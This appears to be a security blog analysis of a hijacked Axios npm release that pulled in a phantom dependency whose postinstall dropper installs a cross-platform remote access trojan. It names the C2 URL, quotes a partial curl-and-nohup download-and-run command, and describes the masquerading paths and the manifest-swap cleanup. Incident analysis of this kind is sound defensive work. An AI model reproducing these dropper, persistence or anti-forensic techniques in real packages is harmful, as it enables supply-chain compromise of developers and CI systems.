
On March 30, 2026, the maintainer account for Axios, the most popular JavaScript HTTP client with over 100 million weekly downloads, was hijacked to publish poisoned releases containing a cross-platform remote access trojan (RAT). The attack targeted both the modern 1.x and legacy 0.x branches, utilizing sophisticated anti-forensic techniques to hide the malicious dependency from developers and security scanners.
Hijacked credentials and the bypass of OIDC Trusted Publishing
The compromise originated with the hijacking of the jasonsaayman npm account, a primary maintainer for the Axios project. Forensic evidence from the npm registry suggests the attacker obtained a long-lived classic access token, as the malicious versions—[email protected] and [email protected]—bypassed the project's established CI/CD pipeline.
A critical technical signal was the absence of OpenID Connect (OIDC) metadata. Since the move to secure publishing workflows, legitimate Axios 1.x releases have used npm’s OIDC Trusted Publisher mechanism, which cryptographically links a publish event to a specific GitHub Actions workflow. The malicious 1.14.1 release lacked this OIDC binding and the gitHead reference, indicating a manual publish from an external environment.
Furthermore, a binary diff between the clean 1.14.0 and poisoned 1.14.1 reveals that the only substantive change in the Axios package itself was the package.json file. The attacker manually incremented the version and injected a new runtime dependency: plain-crypto-js@^4.2.1. Notably, the prepare: husky script—responsible for enforcing git hooks—was removed during the manual edit, a common side effect of direct package.json modification outside of standard release tooling.
Anatomy of the plain-crypto-js phantom dependency
The core of the attack was not located within the Axios source code, but in a "phantom dependency" named plain-crypto-js. Static analysis confirms that plain-crypto-js is never imported or required by any of the 86 files in the Axios library. Its inclusion in the manifest served a single purpose: to trigger a postinstall hook during the npm install process.
To avoid detection by "zero-history" reputation scanners, the attacker pre-staged the malware 18 hours in advance.
-
Version 4.2.0 (Decoy): A clean copy of the legitimate
crypto-jslibrary, used to establish a benign footprint on the npm registry. -
Version 4.2.1 (Weaponized): Introduced a
postinstall: "node setup.js"script and an obfuscated dropper payload.
The attacker employed a bit-for-bit cloning strategy for the library's functional files, ensuring that any developer performing a manual diff against the real crypto-js would see no changes in the cryptographic logic, drawing focus away from the malicious package.json entry.
| File | [email protected] | [email protected] | Technical Role |
|---|---|---|---|
| package.json | No scripts | postinstall added | Execution trigger |
| setup.js | Not present | 4.2 KB obfuscated JS | RAT Dropper |
| package.md | Not present | Clean JSON stub | Anti-forensics replacement |
De-obfuscating the cross-platform RAT dropper
The setup.js script utilized a two-layer obfuscation scheme. Sensitive strings, including Command and Control (C2) URLs and system commands, were XOR-ciphered and stored in a static array. Once decoded, the dropper reveals a highly organized execution path targeting Windows, macOS, and Linux.
The dropper contacts the C2 server at http://sfrclak.com:8000/6202033 using platform-specific identifiers. The use of the packages.npm.org/ prefix in the POST body appears designed to blend into network logs as routine registry traffic.
macOS (Darwin) Execution
On macOS, the dropper writes an AppleScript to /tmp/6202033 and executes it via osascript. This script downloads a stage-2 binary to /Library/Caches/com.apple.act.mond—a path mimicking a legitimate "Activity Monitor Daemon" system cache—before granting execution permissions and launching it via /bin/zsh.
Windows (Win32) Execution
The Windows payload utilizes a VBScript and PowerShell chain. It creates a persistent copy of powershell.exe in %PROGRAMDATA%\wt.exe (masquerading as Windows Terminal). A hidden cmd.exe window runs a VBScript that fetches a PowerShell stage-2 payload to the temp directory, executing it with an -ExecutionPolicy Bypass flag.
Linux and Unix-like Systems
For Linux, the dropper uses a direct shell command: curl -o /tmp/ld.py ... && nohup python3 /tmp/ld.py ... The use of nohup combined with the & operator ensures the malware is detached from the npm process tree and re-parented to PID 1 (init). This allows the RAT to remain active even after the initial installation process completes and the terminal is closed.
Runtime execution and anti-forensic cleanup
Verification of the attack via kernel-level instrumentation shows that the malware begins C2 contact within approximately two seconds of the start of an npm install. This speed is intentional, allowing the dropper to call home before automated security tools might terminate the process tree.
The most sophisticated aspect of the attack is its self-destruction sequence. After launching the platform-specific payload, setup.js performs three critical forensic cleanup steps:
-
Self-Deletion: The
setup.jsfile is unlinked from the filesystem. -
Manifest Erasure: The malicious
package.jsoncontaining thepostinstallhook is deleted. -
The Evidence Swap: The pre-staged
package.md(a clean stub reporting version 4.2.0) is renamed topackage.json.
Post-infection, running npm list will report that [email protected] is installed—a version that lacks the malicious hook—potentially leading incident responders to believe the system was not affected by the poisoned 4.2.1 release.
Remediation and the state of supply chain security
The malicious Axios versions were live for approximately three hours before being unpublished by the npm security team. However, due to the high download volume of Axios, thousands of CI/CD pipelines and developer environments may have been exposed.
Operators should verify the existence of the node_modules/plain-crypto-js/ directory. Because this package is not a dependency of any legitimate Axios release, its presence is a definitive indicator of compromise, regardless of the version reported by npm list.
This incident mirrors the supply chain attack forensic payload analysis recently observed in other ecosystems, highlighting a trend toward "surgical" injections that bypass CI/CD and focus on post-install hooks. Much like the tactics explored in the report on how Jia Tan infiltrated Linux, the Axios attack underscores the fragility of maintainer-based trust models in the absence of mandatory OIDC enforcement across all release branches.


Comments (0)
Please login to comment
Sign in to share your thoughts and connect with the community
Loading...